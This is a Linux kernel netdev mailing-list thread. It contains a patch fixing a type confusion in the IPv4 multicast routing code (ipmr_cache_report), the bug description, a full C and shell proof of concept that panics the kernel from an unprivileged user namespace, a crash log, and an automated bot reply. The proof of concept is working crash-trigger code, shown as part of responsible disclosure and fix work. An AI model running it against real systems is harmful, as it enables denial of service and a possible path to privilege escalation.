* [PATCH net v6 0/1] ipmr: only copy pktinfo to cache reports
@ 2026-10-20 6:39 Zhiling Zou
2026-10-20 6:39 ` [PATCH net v6 1/1] " Zhiling Zou
2026-10-20 6:44 ` [PATCH net v6 0/1] " netdev-bot+sinfo
0 siblings, 2 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-10-20 6:39 UTC (permalink / raw)
To: idosch, edumazet, netdev
Cc: dsahern, davem, pabeni, horms, leone4fernando, vega, zhilinz
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/ipmr.c. The bug is reachable
by a non-root user via user and net namespaces with namespace-local
CAP_NET_ADMIN and CAP_NET_RAW.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ipmr_get_route() can clone a synthetic RTM_GETROUTE skb for an unresolved
multicast route and store the requester portid in NETLINK_CB(skb).portid
before queuing it to the unresolved multicast route path.
ipmr_cache_report() builds a short IGMP report for the raw mroute socket.
To support IP_PKTINFO, the original code calls ipv4_pktinfo_prepare() on
the input packet and copies the entire skb control block to the report skb.
For synthetic route-query packets, this copies NETLINK_CB bytes into a skb
that the raw IPv4 receive path interprets as IPCB. The requester portid
overlaps IPCB(skb)->opt fields. With IP_RECVOPTS or IP_RETOPTS enabled on
the mroute socket, corrupted option offsets can make the receive path copy
beyond the short report packet or overflow the fixed stack option buffer
in ip_options_echo().
The WHOLEPKT/WRVIFWHOLE path has a related issue: skb_realloc_headroom()
inherits the original IPCB, then prepends a 20-byte header with ihl = 5.
Stale IPCB(skb)->opt offsets then make ip_cmsg_recv_opts() copy bytes
from after that header as IP_RECVOPTS.
ipv4_pktinfo_prepare() also modifies the input skb control block. When
packet info is disabled on the mroute socket, it clears the pktinfo fields,
even though the input skb can continue through the data path.
Save and restore the original pkt->cb around ipv4_pktinfo_prepare(). Clear
the report skb control block and copy only the prepared pktinfo fields.
Doing this after both report branches preserves input skb metadata, keeps
IP_PKTINFO support, and clears inherited IP option state for
WHOLEPKT/WRVIFWHOLE reports.
Reproducer:
make
./poc.sh namespace
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
mode="${1:-root}"
sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true
sysctl -w kernel.printk="7 4 1 7" >/dev/null 2>&1 || true
make clean
make
case "$mode" in
root)
exec ./poc
;;
namespace)
exec unshare -Urn --map-root-user ./poc
;;
*)
echo "usage: $0 [root|namespace]" >&2
exit 1
;;
esac
------END poc.sh--------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define DEV_NAME "jwq0"
#define DEV_ADDR "10.23.0.1/24"
#define SRC_ADDR "10.23.0.2"
#define DST_ADDR "239.1.2.3"
#define NETLINK_PORTID 0x000f0001U
static void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
exit(EXIT_FAILURE);
}
static void die_errno(const char *msg)
{
die("%s: %s", msg, strerror(errno));
}
static void run_cmd(const char *fmt, ...)
{
char cmd[512];
va_list ap;
int rc;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
printf("[cmd] %s\n", cmd);
fflush(stdout);
rc = system(cmd);
if (rc != 0)
die("command failed (%d): %s", rc, cmd);
}
static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
const void *data, size_t alen)
{
size_t len = RTA_LENGTH(alen);
size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
struct rtattr *rta;
if (newlen > maxlen)
die("netlink attribute overflow");
rta = (struct rtattr *)(((char *)nlh) + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = len;
memcpy(RTA_DATA(rta), data, alen);
nlh->nlmsg_len = newlen;
}
static int create_dummy_interface(void)
{
unsigned int ifindex;
run_cmd("ip link del %s 2>/dev/null || true", DEV_NAME);
run_cmd("ip link set lo up");
run_cmd("ip link add %s type dummy", DEV_NAME);
run_cmd("ip addr add %s dev %s", DEV_ADDR, DEV_NAME);
run_cmd("ip link set %s up", DEV_NAME);
ifindex = if_nametoindex(DEV_NAME);
if (!ifindex)
die_errno("if_nametoindex(" DEV_NAME ")");
printf("[*] %s ifindex=%u\n", DEV_NAME, ifindex);
return (int)ifindex;
}
static int setup_mroute_socket(int ifindex)
{
struct vifctl vif = {
.vifc_vifi = 0,
.vifc_flags = VIFF_USE_IFINDEX,
.vifc_threshold = 1,
.vifc_rate_limit = 0,
.vifc_lcl_ifindex = ifindex,
};
int opt = 1;
int fd;
fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
if (fd < 0)
die_errno("socket(AF_INET, SOCK_RAW, IPPROTO_IGMP)");
if (setsockopt(fd, SOL_IP, IP_RETOPTS, &opt, sizeof(opt)) < 0)
die_errno("setsockopt(IP_RETOPTS)");
if (setsockopt(fd, IPPROTO_IP, MRT_INIT, &opt, sizeof(opt)) < 0)
die_errno("setsockopt(MRT_INIT)");
if (setsockopt(fd, IPPROTO_IP, MRT_ADD_VIF, &vif, sizeof(vif)) < 0)
die_errno("setsockopt(MRT_ADD_VIF)");
printf("[*] mroute socket ready on vif ifindex=%d\n", ifindex);
return fd;
}
static int setup_netlink_socket(void)
{
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
.nl_pid = NETLINK_PORTID,
};
int fd;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0)
die_errno("socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die_errno("bind(AF_NETLINK)");
printf("[*] netlink portid=0x%08x\n", NETLINK_PORTID);
printf("[*] portid bytes: optlen=%u srr=%u rr=%u ts=%u\n",
NETLINK_PORTID & 0xff,
(NETLINK_PORTID >> 8) & 0xff,
(NETLINK_PORTID >> 16) & 0xff,
(NETLINK_PORTID >> 24) & 0xff);
return fd;
}
static void trigger_getroute(int nl_fd, int ifindex)
{
struct {
struct nlmsghdr nlh;
struct rtmsg rtm;
char buf[256];
} req;
struct sockaddr_nl kernel = {
.nl_family = AF_NETLINK,
};
struct iovec iov = {
.iov_base = &req,
.iov_len = sizeof(req),
};
struct msghdr msg = {
.msg_name = &kernel,
.msg_namelen = sizeof(kernel),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct in_addr src;
struct in_addr dst;
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
req.nlh.nlmsg_type = RTM_GETROUTE;
req.nlh.nlmsg_flags = NLM_F_REQUEST;
req.nlh.nlmsg_seq = 1;
req.rtm.rtm_family = AF_INET;
req.rtm.rtm_dst_len = 32;
req.rtm.rtm_src_len = 32;
if (inet_pton(AF_INET, SRC_ADDR, &src) != 1)
die("inet_pton failed for %s", SRC_ADDR);
if (inet_pton(AF_INET, DST_ADDR, &dst) != 1)
die("inet_pton failed for %s", DST_ADDR);
addattr_l(&req.nlh, sizeof(req), RTA_SRC, &src, sizeof(src));
addattr_l(&req.nlh, sizeof(req), RTA_DST, &dst, sizeof(dst));
addattr_l(&req.nlh, sizeof(req), RTA_IIF, &ifindex, sizeof(ifindex));
iov.iov_len = req.nlh.nlmsg_len;
printf("[*] sending RTM_GETROUTE for %s -> %s on ifindex %d\n",
SRC_ADDR, DST_ADDR, ifindex);
fflush(stdout);
if (sendmsg(nl_fd, &msg, 0) < 0)
die_errno("sendmsg(RTM_GETROUTE)");
}
static void receive_report(int mrt_fd)
{
char payload[512];
char control[4096];
struct iovec iov = {
.iov_base = payload,
.iov_len = sizeof(payload),
};
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
ssize_t n;
printf("[*] waiting for mroute report; recvmsg should crash in IP_RETOPTS\n");
fflush(stdout);
n = recvmsg(mrt_fd, &msg, 0);
if (n < 0)
die_errno("recvmsg(mroute_sk)");
printf("[!] recvmsg returned %zd bytes without crashing\n", n);
}
int main(void)
{
int ifindex;
int mrt_fd;
int nl_fd;
printf("[*] ipmr_cache_report type-confusion trigger\n");
printf("[*] expected rr copy length comes from first byte of %s (%u)\n",
DST_ADDR, 239U);
ifindex = create_dummy_interface();
mrt_fd = setup_mroute_socket(ifindex);
nl_fd = setup_netlink_socket();
trigger_getroute(nl_fd, ifindex);
receive_report(mrt_fd);
close(nl_fd);
close(mrt_fd);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 195.459259] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[ 195.460787] CPU: 2 UID: 1028 PID: 1307 Comm: poc Not tainted 6.12.95 #1
[ 195.461640] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 195.463100] Call Trace:
[ 195.463432] <TASK>
[ 195.463733] panic (/home/roxy/linux-block-patch/build/../kernel/panic.c:955 (discriminator 1))
[ 195.464178] ? ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[ 195.464769] __stack_chk_fail (/home/roxy/linux-block-patch/build/../kernel/panic.c:1195 (discriminator 1))
[ 195.465309] ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[ 195.465878] ? __skb_datagram_iter (/home/roxy/linux-block-patch/build/../include/linux/skbuff.h:2533 /home/roxy/linux-block-patch/build/../net/core/datagram.c:394)
[ 195.466458] ? __pfx_simple_copy_to_iter+0x10/0x10
[ 195.467091] ? ____sys_recvmsg+0x98/0x1d0
[ 195.467633] ? ___sys_recvmsg+0x91/0xe0
[ 195.468154] ? srso_alias_return_thunk+0x5/0xfbef5
[ 195.468802] ? __sys_recvmsg+0x83/0xe0
[ 195.469305] ? do_syscall_64+0x58/0x120
[ 195.469824] ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 195.470498] </TASK>
[ 195.470983] Kernel Offset: disabled
-----END crash log-----
Zhiling Zou (1):
ipmr: only copy pktinfo to cache reports
net/ipv4/ipmr.c | 12 ++++++++++--
1 file changed, 10 insertions(+), 2 deletions(-)
--
2.55.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH net v6 1/1] ipmr: only copy pktinfo to cache reports
2026-10-20 6:39 [PATCH net v6 0/1] ipmr: only copy pktinfo to cache reports Zhiling Zou
@ 2026-10-20 6:39 ` Zhiling Zou
2026-10-20 6:44 ` [PATCH net v6 0/1] " netdev-bot+sinfo
1 sibling, 0 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-10-20 6:39 UTC (permalink / raw)
To: idosch, edumazet, netdev
Cc: dsahern, davem, pabeni, horms, leone4fernando, vega, zhilinz
ipmr_cache_report() prepares IP_PKTINFO on the original skb. The
ipv4_pktinfo_prepare() helper updates skb->cb and clears the pktinfo fields
when packet info is disabled. Since the skb can continue through the data
path, preserve and restore its original control block around the helper.
The original implementation copies the entire control block to the report
skb. For synthetic RTM_GETROUTE packets, NETLINK_CB data is interpreted as
IPCB by the raw IPv4 receive path. With IP_RECVOPTS or IP_RETOPTS enabled,
corrupted option offsets cause out-of-bounds reads or a stack buffer
overflow. WHOLEPKT and WRVIFWHOLE reports also inherit stale IP option
offsets when their header is prepended.
Clear the report skb control block. Only prepare and copy pktinfo when the
input skb has an IPv4 header. Synthetic route-query skbs use NETLINK_CB,
not IPCB, so leave their report control block zeroed. Restore pkt->cb after
preparing pktinfo for regular IPv4 packets.
Fixes: bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://lore.kernel.org/netdev/20260903113055.GA90787@shredder/
Suggested-by: Ido Schimmel <idosch@nvidia.com>
Suggested-by: Eric Dumazet <edumazet@google.com>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
changes in v6:
- Skip ipv4_pktinfo_prepare() for synthetic route-query skbs, whose cb
contains NETLINK_CB rather than IPCB, and leave report skb->cb zeroed.
- v5 Link: https://lore.kernel.org/netdev/192b5c65be8b370c1e6e4f6a31edf03d2606f427.1792215075.git.zhilinz@nebusec.ai/
changes in v5:
- Save and restore pkt->cb around ipv4_pktinfo_prepare().
- Prepare pktinfo after both report branches, clear skb->cb, and copy only
the pktinfo fields; this also clears inherited IP options.
- Add the Fixes tag for the older WHOLEPKT/WRVIFWHOLE issue.
- v4 Link: https://lore.kernel.org/netdev/d8a36c317f6216d20f9cfd7e49f1888f62c35f7c.1788417128.git.zhilinz@nebusec.ai/
changes in v4:
- Clear IPCB(skb)->opt when prepending the 20-byte WHOLEPKT/WRVIFWHOLE
header, so stale option offsets are not inherited from the original packet.
- v3 Link: https://lore.kernel.org/all/e93d0d2fa5725ddd06b20e3e4223ab68b93b48d1.1785719031.git.zhilinz@nebusec.ai/
changes in v3:
- Go back to the v1 scope and stop changing the common path.
- Remove memset(), since alloc_skb() already clears the control block.
- v2 Link: https://lore.kernel.org/all/1b809975e5bd9c0a1dd6fdd1db534e701fe5a4b6.1785379072.git.zhilinz@nebusec.ai/
changes in v2:
- Reword the commit message to say the entire 48-byte skb control block
is copied.
- Mention that IP_RECVOPTS/IP_RETOPTS on the mrouted socket was unintended.
- Move the pktinfo copy to the common path to cover both report branches.
- v1 Link: https://lore.kernel.org/all/5bc7cd71c2d671b305f25497d88ae8a0aa663c08.1784894076.git.zhilinz@nebusec.ai/
net/ipv4/ipmr.c | 12 ++++++++++--
1 file changed, 10 insertions(+), 2 deletions(-)
diff --git a/net/ipv4/ipmr.c b/net/ipv4/ipmr.c
index b9c544d48c452..6635ea6b9209a 100644
--- a/net/ipv4/ipmr.c
+++ b/net/ipv4/ipmr.c
@@ -1057,6 +1057,7 @@ static void ipmr_cache_resolve(struct net *net, struct mr_table *mrt,
static int ipmr_cache_report(const struct mr_table *mrt,
struct sk_buff *pkt, vifi_t vifi, int assert)
{
+ unsigned char pkt_cb[sizeof(pkt->cb)];
const int ihl = ip_hdrlen(pkt);
struct sock *mroute_sk;
struct igmphdr *igmp;
@@ -1112,8 +1113,6 @@ static int ipmr_cache_report(const struct mr_table *mrt,
msg = (struct igmpmsg *)skb_network_header(skb);
msg->im_vif = vifi;
msg->im_vif_hi = vifi >> 8;
- ipv4_pktinfo_prepare(mroute_sk, pkt, false);
- memcpy(skb->cb, pkt->cb, sizeof(skb->cb));
/* Add our header.
* Note that code, csum and group fields are cleared.
*/
@@ -1124,6 +1123,15 @@ static int ipmr_cache_report(const struct mr_table *mrt,
skb->transport_header = skb->network_header;
}
+ memset(skb->cb, 0, sizeof(skb->cb));
+ /* Route queries from ipmr_get_route() carry NETLINK_CB, not IPCB. */
+ if (ip_hdr(pkt)->version) {
+ memcpy(pkt_cb, pkt->cb, sizeof(pkt_cb));
+ ipv4_pktinfo_prepare(mroute_sk, pkt, false);
+ *PKTINFO_SKB_CB(skb) = *PKTINFO_SKB_CB(pkt);
+ memcpy(pkt->cb, pkt_cb, sizeof(pkt_cb));
+ }
+
igmpmsg_netlink_event(mrt, skb);
/* Deliver to mrouted */
--
2.55.0
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH net v6 0/1] ipmr: only copy pktinfo to cache reports
2026-10-20 6:39 [PATCH net v6 0/1] ipmr: only copy pktinfo to cache reports Zhiling Zou
2026-10-20 6:39 ` [PATCH net v6 1/1] " Zhiling Zou
@ 2026-10-20 6:44 ` netdev-bot+sinfo
1 sibling, 0 replies; 3+ messages in thread
From: netdev-bot+sinfo @ 2026-10-20 6:44 UTC (permalink / raw)
To: Zhiling Zou
Cc: idosch, edumazet, netdev, dsahern, davem, pabeni, horms,
leone4fernando, vega
Hi!
This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:
- How the issue was discovered, e.g. hit in production, hit during
development, syzbot report, manual code inspection, LLM or static
analysis tool scan.
Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account. If the series needs another revision for
other reasons, please include the information in the commit messages
then.
The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-10-20 6:44 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-20 6:39 [PATCH net v6 0/1] ipmr: only copy pktinfo to cache reports Zhiling Zou
2026-10-20 6:39 ` [PATCH net v6 1/1] " Zhiling Zou
2026-10-20 6:44 ` [PATCH net v6 0/1] " netdev-bot+sinfo
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox